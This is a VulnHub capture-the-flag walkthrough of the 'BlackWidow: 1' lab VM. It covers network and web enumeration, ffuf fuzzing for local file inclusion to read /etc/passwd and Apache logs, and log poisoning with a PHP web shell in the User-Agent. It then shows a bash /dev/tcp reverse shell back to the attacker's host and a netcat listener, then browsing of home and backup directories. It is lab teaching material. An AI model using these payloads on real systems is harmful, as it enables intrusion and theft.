BlackWidow: 1 || VulnHub Walkthrough


Hello everyone! Welcome to my new video. Today, we're exploring a vulnerable machine called " Black Widow ". This machine is part of a single series and is categorized as " Medium " in terms of difficulty.


To get started, head over to the VulnHub website and download the vulnerable image. 



If you're new to VulnHub, check out our VulnHub playlist for helpful videos.

Vulhub: Vulnerable by Design

Vulhub provides a collection of pre-built vulnerable docker environments, designed for learning and practicing security vulnerability assessments and penetration testing. Explore various scenarios and improve your cybersecurity skills.


Settings Up

Once you've downloaded the image, the next step is setting up the server in VirtualBox. This process is quite simple and involves importing the OVA file into VirtualBox using the " import appliance " feature.

Importing the OVA file into VirtualBox is a straightforward process. Here's how to do it:

Launch VirtualBox. 

To import an OVA image, navigate to the menu bar and click on " File ". From the dropdown menu, select " Import Appliance ".

Choose the downloaded OVA file from your computer. 

Click " Next " and review the appliance details and settings. You can adjust them as needed. 

Click " Finish " to start the import. Once the import is finished, you'll see the " Black Widow " vulnerable machine listed in the VirtualBox Manager under the VulnHub group. 

Select the virtual machine, go to " Settings ," and change the network adapter to " Host-only adapter ."

It's important to ensure that both your Kali Linux machine (used for attacks) and the vulnerable machine are connected to the same network, so make sure they're both connected via the host-only adapter. 

Now, it’s time to start the VM, and you'll notice that our Vulnerable Machine is ready, with a login prompt awaiting. 

Let's dive into the fun!


Enumeration


Identifying the IP address

The initial step in our attack is enumeration, which involves identifying the IP address of our target machine using NetDiscover. To execute this, open a terminal and run " netdiscover -i " followed by specifying the network interface name, which in this case is " eth1 ."

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1

 Currently scanning: 192.168.151.0/16   |   Screen View: Unique Hosts                                                             
                                                                                                                                  
 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240                                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.95.1    0a:00:27:00:00:0d      1      60  Unknown vendor                                                                 
 192.168.95.2    08:00:27:da:11:88      1      60  PCS Systemtechnik GmbH                                                         
 192.168.95.16   08:00:27:30:2a:ab      2     120  PCS Systemtechnik GmbH   

From the scan results, we've obtained our target IP address: " 192.168.95.16 ."


Enumerate the Network 

Next, we'll conduct a network scan to identify open ports, a crucial step in the enumeration process. This helps us understand the attack surface and strategize targeted attacks. We'll use the popular Nmap tool for this task. Run " nmap -sC -sV {specify the IP address} ".

nmap -sC -sV {specify the IP address}

In this command, " -sC " is used to perform a script scan using the default set of scripts, while " -sV " enables version detection, allowing us to identify which versions are running on which port.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 20:12 IST
Nmap scan report for 192.168.95.16
Host is up (0.00050s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f8:3b:7c:ca:c2:f6:5a:a6:0e:3f:f9:cf:1b:a9:dd:1e (RSA)
|   256 04:31:5a:34:d4:9b:14:71:a0:0f:22:78:2d:f3:b6:f6 (ECDSA)
|_  256 4e:42:8e:69:b7:90:e8:27:68:df:68:8a:83:a7:87:9c (ED25519)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      45143/tcp6  mountd
|   100005  1,2,3      48903/udp   mountd
|   100005  1,2,3      57259/tcp   mountd
|   100005  1,2,3      59043/udp6  mountd
|   100021  1,3,4      34695/udp6  nlockmgr
|   100021  1,3,4      40707/tcp   nlockmgr
|   100021  1,3,4      43301/tcp6  nlockmgr
|   100021  1,3,4      56364/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs        3-4 (RPC #100003)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
                                                                                                                                   
┌──(kali㉿kali)-[~]
└─$ 

After completing the network scan, we found 5 open ports:

  • Port 22/TCP : OpenSSH is running here, allowing for secure shell (SSH) access.
  • Port 80/TCP (HTTP) : An Apache web server is running, but the default page doesn't have a title, suggesting it might be a default or misconfigured setup.
  • Port 111/TCP (RPCbind) : Several RPC services, including NFS, Mountd, and Nlockmgr, are available. This could indicate a network file system setup.
  • Port 2049/TCP (NFS) : Network File System is running, which might allow for remote file sharing. This could be a potential target if not properly secured.
  • Port 3128/TCP (HTTP Proxy) : The Squid proxy server is running, but it returned an error page, indicating it might be configured for specific use or restricted access.


Web Enumeration and Directory Busting

Now, let's explore the web content hosted on port 80 . Open a web browser and enter the target's IP address in the URL bar. 

After analyzing the webpage, we didn't find any additional links or pages that might reveal potential vulnerabilities.

To investigate further, we'll use directory busting to uncover hidden or hard-to-find directories and pages. For this task, we'll use the " dirb" tool.

┌──(kali㉿kali)-[~]
└─$ dirb http://192.168.95.16/               

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed May 22 20:24:35 2024
URL_BASE: http://192.168.95.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.95.16/ ----
==> DIRECTORY: http://192.168.95.16/company/                                                                                 
==> DIRECTORY: http://192.168.95.16/docs/                                                                                    
+ http://192.168.95.16/index.html (CODE:200|SIZE:84)                                                                         
==> DIRECTORY: http://192.168.95.16/js/                                                                                      
+ http://192.168.95.16/server-status (CODE:403|SIZE:278)                                                                     
                                                                                                                             
---- Entering directory: http://192.168.95.16/company/ ----
==> DIRECTORY: http://192.168.95.16/company/assets/                                                                          
==> DIRECTORY: http://192.168.95.16/company/forms/                                                                           
+ http://192.168.95.16/company/index.html (CODE:200|SIZE:42271)                                                              
                                                                                                                             
---- Entering directory: http://192.168.95.16/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                             
---- Entering directory: http://192.168.95.16/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                             
---- Entering directory: http://192.168.95.16/company/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                             
---- Entering directory: http://192.168.95.16/company/forms/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed May 22 20:24:43 2024
DOWNLOADED: 9224 - FOUND: 3
                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ 

Using " dirb," I identified an important directory called " company," which looks suspicious. Let's visit this page.

Upon accessing this directory, I found another website built with Bootstrap, which I confirmed using Wappalyzer

On this website, every link is static except for the " Get Started " navigation link.

Clicking on "Get Started" results in a " We’re having trouble finding that site " error, indicating that we can't connect to the server at blackwidow.com.


Troubleshooting the "We’re having trouble finding that site" error

This type of error appears due to two underlying reasons. 

  1. You might have accidentally typed the web address (URL) incorrectly in the search bar. This confuses the computer's naming system (DNS) and it can't find the corresponding website.
  2. You might have left the search bar empty entirely. Some websites require you to enter an address (like a specific page name) to navigate to the content you want.

We can fix this by modifying the local DNS file named " hosts " located in the “/etc” directory. Open a terminal, type nano, and then specify the path of the “ hosts ” file.

┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
[sudo] password for kali: 

Add the IP address with its associated hostname in the “/hosts” table, which would allow your web client to visit the website that was previously reporting an error.

Now save it using CTRL + X and hit Enter. Once this configuration is complete, reload the target's webpage to verify if it loads successfully. 

Since the requested hostname now has an association in the hosts file, the website should load without any issues.


Identify the vulnerability

Let's check the application for potential security weaknesses. To examine the underlying code and gain insights, we can view the page source code. Right-click anywhere on the webpage and Select " View Page Source ".

After inspecting the source code, we found a hint that might indicate a vulnerability. 

There's a mention of a " file " parameter that seems to be used for including files. This suggests a possibility of an LFI (Local File Inclusion) vulnerability existing in the application.


Exploiting the LFI Vulnerability

LFI (Local File Inclusion) vulnerabilities can allow us to access sensitive files on the server. To verify this, we'll conduct further tests to identify any LFI vulnerabilities in the URL.


Identifying exploitable parameters

By examining the page source code, we found parameters that might be used to manipulate the URL. These parameters typically appear after a question mark (?) followed by key-value pairs separated by equal signs (=).

http://blackwidow/company/started.php ? file=

When I tried simple key-value pairs, I didn't get any useful results. 


Utilizing ffuf for advanced testing

To explore a wider range of possibilities, we'll use a tool called ffuf

This tool automates the process of testing various payloads (data inputs) within the URL parameter. The goal is to identify potential values that might trigger LFI.


Finding a suitable wordlist

Unfortunately, the default wordlists included with Kali Linux don't have a specific one for LFI testing. A popular resource called SecLists offers wordlists for various security assessments, including LFI. However, SecLists isn't pre-installed on Kali. 

We'll need to download it from the SecLists GitHub page for further testing.

SecLists: LFI Fuzzing

Explore SecLists, a collection of multiple types of lists used during security assessments, including lists for fuzzing Local File Inclusion (LFI) vulnerabilities. Enhance your penetration testing toolkit with these comprehensive lists.


The command you can use on the terminal for fuzzing a URL is:



ffuf -u <target_URL> -w <wordlist> -c -i c -r --fs 0

Here's a breakdown of the options used:

  • -u <target_URL> : This specifies the target URL you want to fuzz. Replace <target_URL> with the actual URL you want to test.
  • -w <wordlist>: This specifies the path to the wordlist file containing the payloads to be tested. Replace <wordlist> with the actual path to your wordlist file.
  • -c: This enables color output for better readability in the terminal.
  • -ic: This instructs ffuf to ignore any comments present within the wordlist file.
  • -r: This tells ffuf to follow redirects encountered during the fuzzing process.
  • --fs 0: This option filters the responses based on the HTTP status code. In this case, 0 means ffuf will show all responses, regardless of the status code.

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://blackwidow/company/started.php?file=FUZZ -w /home/kali/Downloads/LFI-LFISuite-pathtotest-huge.txt -c -ic -r -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://blackwidow/company/started.php?file=FUZZ
 :: Wordlist         : FUZZ: /home/kali/Downloads/LFI-LFISuite-pathtotest-huge.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 14ms]
../../../../../../../../../../../../.. /etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 3ms]
../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 3ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 4ms]
../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 4ms]
../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 5ms]
../../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 727, Words: 1, Lines: 56, Duration: 5ms]
../../../../../../../../../../../../../.. /proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 1ms]
../../../../../../../../../../../../.. /proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 3ms]
../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 1ms]
../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 2ms]
../../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 2ms]
../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 27, Words: 1, Lines: 1, Duration: 5ms]
../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 2ms]
../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 3ms]
../../../../../../../../../../../../../.. /proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 3ms]
../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 1ms]
../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 2ms]
../../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2, Duration: 1ms]
../../../../../../../../../../../../../.. /proc/self/status [Status: 200, Size: 1021, Words: 90, Lines: 55, Duration: 2ms]
../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1020, Words: 91, Lines: 55, Duration: 4ms]
../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1019, Words: 92, Lines: 55, Duration: 5ms]
../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1020, Words: 92, Lines: 55, Duration: 8ms]
../../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1021, Words: 90, Lines: 55, Duration: 9ms]
../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1019, Words: 92, Lines: 55, Duration: 14ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 381ms]
../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 1774ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 2444ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 2691ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1582, Words: 15, Lines: 30, Duration: 2773ms]
../../../../../../../../../../../../.. /var/log/apache2/access.log [Status: 200, Size: 14314417, Words: 1194208, Lines: 65541, Duration: 6144ms]                                                                                                                               
../../../../../../../../../../../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 14337939, Words: 1196098, Lines: 65667, Duration: 6374ms]                                                                                                                
../../../../../../../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 14332493, Words: 1195663, Lines: 65638, Duration: 6290ms]                                                                                                                            
../../../../../../../../../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 14338321, Words: 1196128, Lines: 65669, Duration: 6382ms]                                                                                                                      
../../../../../../../../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 14342882, Words: 1196473, Lines: 65692, Duration: 6285ms]                                                                                                                         
../../../../../../../../../../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 14389471, Words: 1199902, Lines: 65951, Duration: 6353ms]                                                                                                                   
:: Progress: [9513/9513] :: Job [1/1] :: 40 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
                                                                                                                                       
┌──(kali㉿kali)-[~]
└─$ 

The ffuf scan appears to have been successful in uncovering a Local File Inclusion (LFI) vulnerability within the application. This vulnerability allowed the tool to access and read the contents of several sensitive files on the server.

Here's a breakdown of the discovered files:

  • /etc/passwd: This file contains critical information about user accounts on the system, including usernames, hashed passwords, and other user details. Accessing this file can be a major security breach.
  • /etc/group: This file stores information about groups on the system, including group names and the users belonging to each group.
  • /proc/self/cmdline, proc/self/stat, proc/self/status: These files are specific to the Linux operating system and provide details about the currently running process, including its command line arguments, resource usage, and overall status.
  • /var/log/apache2/access.log: This file functions as the access log for the Apache web server, recording details about user requests, including IP addresses, timestamps, and accessed resources.

This indicates that the application does not properly sanitize the file parameter, allowing an attacker to traverse directories and access files outside the intended directory. 

This vulnerability could be exploited further to gain more information about the system, and its users, and potentially gain a foothold on the server.

 

Foothold using Log injection Vulnerability

Upon inspecting the output of " ffuf," revealed an unsanitized file, possibly containing Apache access logs. This suggests a potential vulnerability related to log injection.

Log injection vulnerabilities arise when user-controlled data is not properly sanitized before being logged by the server. This can allow attackers to inject malicious code into the logs, potentially leading to various consequences.

Let's access the /var/log/apache2/access.log on the browser.

Upon accessing the "/var/log/apache2/access.log" file, I discovered that it contains detailed information about requests made to the Apache web server.

To gain a foothold, we need to inject malicious code into the logs. This involves sending a request with malicious code in a field that gets logged, such as User-Agent or Referer .


Observing Log Injection Behavior with Burp Suite

For this purpose, I'll use Burp Suite, to observe the behavior of the injection in the /var/log/apache2/access.log

Burp Suite is a valuable tool for investigating potential vulnerabilities like log injection. By intercepting and analyzing traffic between the browser and the server, we can observe how the application handles user-controlled data.

So, Launch Burp Suite from the Kali Menu, and configure the browser's proxy settings using FoxyProxy.

Access the proxy tab, and activate intercept mode to capture target requests. 

Switch the proxy to Burp Suite within the FoxyProxy extension.


Now, reload the page to intercept the request data, then send the captured request to Burp Suite's repeater tool.

Select a captured request and analyze it within the Burp Suite's Repeater tool to identify a suitable HTTP header (e.g., User-Agent) to inject a test payload.

Send the captured request to the repeater tool(CTRL+R) in Burp Suite. 


Click on Send.

When we send the request, we get the logs of previous inputs in the response section. 

Now, it's time to inject a payload into the logs. This can manipulate log files, disclose information, and potentially allow Remote Code Execution if the logs are not handled correctly. 

<?php system($_GET['cmd']); ?>

To do this, we inject the RCE PHP code snippet into the log files by making a request with the code in the User-Agent or another HTTP header. 


This can help us see if the server logs are vulnerable to code injection.


Trigger RCE to inject reverse shell

Now, it’s time to trigger Remote Code Execution

After injecting the PHP code, include the “ cmd ” parameter after the access.log file in the request, to execute system commands. Here, I will use the id command to test this. 

When I send this data, we receive the user and group names and numeric IDs (UID or group ID) of the current user, which is www-data , in the log file.

Next, it's time to execute malicious code to get a reverse shell. For this purpose, here, I will use a bash reverse shell script. 

bash -c "bash -i >& /dev/tcp/ {LHOST} / {LPORT} 0>&1"

Let me change the listening host IP address with my Kali Linux host-only IP address, and set the listening port to 4444.

bash -c "bash -i >& /dev/tcp/ 192.168.95.3 / 4444 0>&1"

Before sending the request to execute this setup, I will turn on a listener using Netcat.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

After that, send the request to gain a shell. 

Initially, the shell request didn't seem to work, so I decided to encode the URL to see if that would fix the issue. I used an online URL encoder for this purpose and then sent the request again. 

After exploiting a vulnerability, a remote shell was successfully obtained on the target machine "Blackwidow." 

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.95.3] from (UNKNOWN) [192.168.95.16] 35760
bash: cannot set terminal process group (462): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blackwidow:/var/www/html/company$

This initial foothold likely has limited privileges.  Let's check if we can access the user flag. First, let's change to the home directory and list the files and directories:

www-data@blackwidow:/var/www/html/company$ cd /home
www-data@blackwidow:/home$ ls -al
total 12
drwxr-xr-x  3 root  root  4096 Dec 12 2020 .
drwxr-xr-x 18 root  root  4096 Dec 11 2020 ..
drwxr-xr-x  4 viper viper 4096 Dec 24 2020 viper
www-data@blackwidow:/home$

I find a directory named viper , which seems to be the target's username. Change to the viper directory and list its contents. 

www-data@blackwidow:/home$ cd viper
www-data@blackwidow:/home/viper$ ls -al
total 36
drwxr-xr-x 4 viper viper 4096 Dec 24 2020 .
drwxr-xr-x 3 root  root  4096 Dec 12 2020 ..
-rw------- 1 viper viper    0 Dec 24 2020 .Xauthority
-rw------- 1 viper viper 1395 Dec 24 2020 .bash_history
-rw-r--r-- 1 viper viper  220 Dec 12 2020 .bash_logout
-rw-r--r-- 1 viper viper 3526 Dec 12 2020 .bashrc
drwxr-xr-x 3 viper viper 4096 Dec 13 2020 .local
-rw-r--r-- 1 viper viper  807 Dec 12 2020 .profile
drwxr-xr-x 4 viper viper 4096 Dec 13 2020 backup_site
-rw-r--r-- 1 viper viper   33 Dec 12 2020 local.txt
www-data@blackwidow:/home/viper$ cat local.txt
cat: local.txt: Permission denied
www-data@blackwidow:/home/viper$

However, when I try to access the user flag, I get a " permission denied " error. Additionally, there is another file in the directory that looks suspicious. 

www-data@blackwidow:/home/viper$ cd backup_site
cd backup_site
bash: cd: backup_site: Permission denied
www-data@blackwidow:/home/viper$ 

Upon attempting to access it, I do not have the necessary permissions. Next, I decided to look for any backup files in the web directory: 

www-data@blackwidow:/home/viper$ cd /var/www
www-data@blackwidow:/var/www$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Dec 11 2020 .
drwxr-xr-x 12 root root 4096 Dec 11 2020 ..
drwxr-xr-x 5 root root 4096 Dec 13 2020 html
www-data@blackwidow:/var/www$

But I don't find anything suspicious there.  I return to the previous directory and navigate to the var directory where I find a backup directory that looks interesting. 

www-data@blackwidow:/var/www/$ cd ..
cd ..
www-data@blackwidow:/var$ ls -al
ls -al
total 48
drwxr-xr-x 12 root root  4096 Dec 11  2020 .
drwxr-xr-x 18 root root  4096 Dec 11  2020 ..
drwxr-xr-x  2 root root  4096 Dec 19  2020 backups
drwxr-xr-x 10 root root  4096 Dec 11  2020 cache
drwxr-xr-x 28 root root  4096 Dec 13  2020 lib
drwxrwsr-x  2 root staff 4096 Sep 19  2020 local
lrwxrwxrwx  1 root root     9 Dec 11  2020 lock -> /run/lock
drwxr-xr-x  7 root root  4096 May 22 10:37 log
drwxrwsr-x  2 root mail  4096 Dec 11  2020 mail
drwxr-xr-x  2 root root  4096 Dec 11  2020 opt
lrwxrwxrwx  1 root root     4 Dec 11  2020 run -> /run
drwxr-xr-x  6 root root  4096 Dec 13  2020 spool
drwxrwxrwt  2 root root  4096 May 22 13:29 tmp
drwxr-xr-x  3 root root  4096 Dec 11  2020 www
www-data@blackwidow:/var$

I change into this directory and discover an important file,  auth.log .

www-data@blackwidow:/var$ cd backups
cd backups
www-data@blackwidow:/var/backups$ ls -al
ls -al
total 956
drwxr-xr-x  2 root root     4096 Dec 19  2020 .
drwxr-xr-x 12 root root     4096 Dec 11  2020 ..
-rw-r--r--  1 root root    40960 Dec 11  2020 alternatives.tar.0
-rw-r--r--  1 root root     9600 Dec 13  2020 apt.extended_states
-rw-r--r--  1 root root    10427 Dec 11  2020 apt.extended_states.0
-rw-r--r--  1 root root    31646 Dec 13  2020 auth.log
-rw-r--r--  1 root root      186 Dec 11  2020 dpkg.diversions
-rw-r--r--  1 root root      186 Dec 11  2020 dpkg.diversions.0
-rw-r--r--  1 root root      126 Dec 11  2020 dpkg.diversions.1.gz
-rw-r--r--  1 root root      172 Dec 11  2020 dpkg.statoverride
-rw-r--r--  1 root root      172 Dec 11  2020 dpkg.statoverride.0
-rw-r--r--  1 root root      161 Dec 11  2020 dpkg.statoverride.1.gz
-rw-r--r--  1 root root   359173 Dec 13  2020 dpkg.status
-rw-r--r--  1 root root   366640 Dec 11  2020 dpkg.status.0
-rw-r--r--  1 root root   101669 Dec 11  2020 dpkg.status.1.gz
-rw-------  1 root root      727 Dec 12  2020 group.bak
-rw-------  1 root shadow    607 Dec 12  2020 gshadow.bak
-rw-------  1 root root     1582 Dec 13  2020 passwd.bak
-rw-------  1 root shadow   1028 Dec 19  2020 shadow.bak
www-data@blackwidow:/var/backups$

The auth.log contains logs of user login attempts. By examining its contents using the cat command, I see a large amount of data.

www-data@blackwidow:/var/backups$ cat auth.log                                                                                       
cat auth.log                                                                                                                        
Dec 11 16:54:17 test systemd-logind[339]: New seat seat0.                                                                           
Dec 11 16:54:17 test systemd-logind[339]: Watching system buttons on /dev/input/event2 (Power Button)                               
Dec 11 16:54:17 test systemd-logind[339]: Watching system buttons on /dev/input/event3 (Sleep Button)                               
Dec 11 16:54:17 test systemd-logind[339]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)               
Dec 11 16:54:17 test sshd[405]: Server listening on 0.0.0.0 port 22.                                                                
Dec 11 16:54:17 test sshd[405]: Server listening on :: port 22.                                                                     
Dec 11 16:54:22 test login[403]: pam_unix(login:session): session opened for user test by LOGIN(uid=0)                              
Dec 11 16:54:22 test systemd-logind[339]: New session 1 of user test.                                                               
Dec 11 16:54:22 test systemd: pam_unix(systemd-user:session): session opened for user test by (uid=0)                               
Dec 11 16:54:49 test su: (to root) test on tty1                                                                                     
Dec 11 16:54:49 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 11 16:55:00 test systemd-logind[339]: System is rebooting.
Dec 11 16:55:00 test su: pam_unix(su:session): session closed for user root
Dec 11 16:55:00 test sshd[405]: Received signal 15; terminating.
Dec 11 16:55:13 test systemd-logind[318]: New seat seat0.
Dec 11 16:55:13 test systemd-logind[318]: Watching system buttons on /dev/input/event2 (Power Button)
Dec 11 16:55:13 test systemd-logind[318]: Watching system buttons on /dev/input/event3 (Sleep Button)
Dec 11 16:55:13 test systemd-logind[318]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dec 11 16:55:13 test sshd[387]: Server listening on 0.0.0.0 port 22.
Dec 11 16:55:13 test sshd[387]: Server listening on :: port 22.
Dec 11 16:55:22 test login[389]: pam_unix(login:session): session opened for user test by LOGIN(uid=0)
Dec 11 16:55:22 test systemd-logind[318]: New session 1 of user test.
Dec 11 16:55:22 test systemd: pam_unix(systemd-user:session): session opened for user test by (uid=0)
Dec 11 16:55:43 test su: (to root) test on tty1
Dec 11 16:55:43 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 11 16:56:32 test sshd[667]: Accepted password for test from 192.168.1.109 port 2386 ssh2
Dec 11 16:56:32 test sshd[667]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 11 16:56:32 test systemd-logind[318]: New session 3 of user test.
Dec 11 16:56:33 test sshd[670]: Accepted password for test from 192.168.1.109 port 2389 ssh2
Dec 11 16:56:33 test sshd[670]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 11 16:56:33 test systemd-logind[318]: New session 4 of user test.
Dec 11 16:58:27 test su: (to root) test on pts/0
Dec 11 16:58:27 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 11 16:58:36 test groupadd[1566]: group added to /etc/group: name=ssl-cert, GID=114
Dec 11 16:58:36 test groupadd[1566]: group added to /etc/gshadow: name=ssl-cert
Dec 11 16:58:36 test groupadd[1566]: new group: name=ssl-cert, GID=114
Dec 11 17:09:01 test CRON[12097]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 11 17:09:01 test CRON[12097]: pam_unix(cron:session): session closed for user root
Dec 12 15:29:26 test systemd-logind[397]: New seat seat0.
Dec 12 15:29:26 test systemd-logind[397]: Watching system buttons on /dev/input/event2 (Power Button)
Dec 12 15:29:26 test systemd-logind[397]: Watching system buttons on /dev/input/event3 (Sleep Button)
Dec 12 15:29:26 test systemd-logind[397]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dec 12 15:29:27 test sshd[434]: Server listening on 0.0.0.0 port 22.
Dec 12 15:29:27 test sshd[434]: Server listening on :: port 22.
Dec 12 15:30:01 test CRON[606]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 15:30:01 test CRON[606]: pam_unix(cron:session): session closed for user root
Dec 12 15:37:01 test login[423]: pam_unix(login:session): session opened for user test by LOGIN(uid=0)
Dec 12 15:37:01 test systemd-logind[397]: New session 2 of user test.
Dec 12 15:37:01 test systemd: pam_unix(systemd-user:session): session opened for user test by (uid=0)
Dec 12 15:37:49 test sshd[679]: Accepted password for test from 192.168.1.109 port 6521 ssh2
Dec 12 15:37:49 test sshd[679]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 15:37:49 test systemd-logind[397]: New session 4 of user test.
Dec 12 15:37:49 test sshd[682]: Accepted password for test from 192.168.1.109 port 6523 ssh2
Dec 12 15:37:49 test sshd[682]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 15:37:49 test systemd-logind[397]: New session 5 of user test.
Dec 12 15:38:07 test su: (to root) test on pts/0
Dec 12 15:38:07 test su: pam_unix(su:session): session opened for user root by test(uid=1000)
Dec 12 15:39:01 test CRON[1117]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 15:39:01 test CRON[1117]: pam_unix(cron:session): session closed for user root
Dec 12 15:40:03 test sshd[1540]: Accepted password for test from 192.168.1.109 port 6538 ssh2
Dec 12 15:40:03 test sshd[1540]: pam_unix(sshd:session): session opened for user test by (uid=0)
Dec 12 15:40:03 test systemd-logind[397]: New session 7 of user test.
Dec 12 15:40:05 test sshd[1540]: pam_unix(sshd:session): session closed for user test
Dec 12 15:40:05 test systemd-logind[397]: Session 7 logged out. Waiting for processes to exit.
Dec 12 15:40:05 test systemd-logind[397]: Removed session 7.
Dec 12 16:09:01 test CRON[12116]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 12 16:09:01 test CRON[12116]: pam_unix(cron:session): session closed for user root
Dec 12 16:17:01 test CRON[15056]: pam_unix(cron:session): session opened for user root by (uid=0)
